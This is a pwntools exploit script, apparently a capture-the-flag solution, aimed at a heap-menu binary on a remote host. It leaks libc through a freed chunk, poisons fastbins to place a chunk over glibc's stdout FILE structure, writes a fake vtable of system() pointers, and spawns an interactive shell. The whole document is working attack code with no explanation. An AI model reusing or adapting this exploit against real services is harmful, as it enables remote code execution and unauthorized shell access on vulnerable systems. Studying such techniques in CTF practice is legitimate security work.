1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| from pwn import * context(os='linux', arch='amd64', log_level='debug') context.terminal = ['wt.exe', 'wsl'] libc = ELF("./libc.so.6") e = ELF("./pwn")
io = remote("125.70.243.22", 31287) def add(index, size): io.sendafter(b"choice:", b"1") io.sendafter(b"index:", str(index).encode()) io.sendafter(b"size:", str(size).encode())
def free(index): io.sendafter(b"choice:", b"2") io.sendafter(b"index:", str(index).encode())
def edit(index, content:bytes): io.sendafter(b"choice:", b"3") io.sendafter(b"index:", str(index).encode()) io.sendafter(b"length:", str(len(content)).encode()) io.sendafter(b"content:", content)
def show(index): io.sendafter(b"choice:", b"4") io.sendafter(b"index:\n", str(index).encode())
add(0, 0x100) add(1, 0x68) free(0) show(0) ufd = u64(io.recv(6).ljust(8, b"\x00")) print(f"{hex(ufd)}") main_arena_offset = libc.symbols["__malloc_hook"] + 0x10 libc_base = ufd - 96 - main_arena_offset + 8 malloc_hook = libc_base + libc.sym["__malloc_hook"] log.success(f"mh>>> {hex(malloc_hook)}") log.success(f"libc>>> {hex(libc_base)}") xsputns = libc_base + 0x70b60 overflow = libc_base + 0x71880 IO_write = libc_base + 0x70650 og = libc_base + libc.sym["system"] stdout_vtable_ptr = libc.sym['_IO_2_1_stdout_'] + 0xd8 + libc_base log.success(f"std>>> {hex(stdout_vtable_ptr)}") fake_heap = stdout_vtable_ptr-0x3b
add(0, 0x100) add(2, 0x68) add(3, 0x80) free(1) free(2) show(2)
heap_1_addr = u64(io.recv(6).ljust(8, b"\x00"))
fake_data = p64(0)*2 + p64(0x00ffffffff000000) + b"\x00"* (0xb+8)+ p64(heap_1_addr+0x180) log.success(f"heap>>>{hex(heap_1_addr)}") add(2, 0x68) edit(1, p64(fake_heap)) add(3, 0x68) add(4, 0x68) add(5, 0x100) fake_vtable = p64(og)* 3 + p64(overflow)+ p64(og)*3+ p64(xsputns) +p64(og)*3 +p64(og)+ p64(og)*3 + p64(IO_write) edit(5, fake_vtable) edit(4, fake_data)
log.success(f"std>>> {hex(stdout_vtable_ptr)}") log.success(f"heap>>>{hex(heap_1_addr)}") log.success(f"og>>> {hex(og)}")
add(6, 0x68) free(6) stdout_fake_heap = libc_base+libc.sym["_IO_2_1_stdout_"]-0x43 edit(6, p64(stdout_fake_heap)) add(6, 0x68) add(7, 0x68) edit(7, b"\x00"*0x33+p32(0xfbad1880)+b";sh;\x00") io.sendline(b"5") io.interactive()
|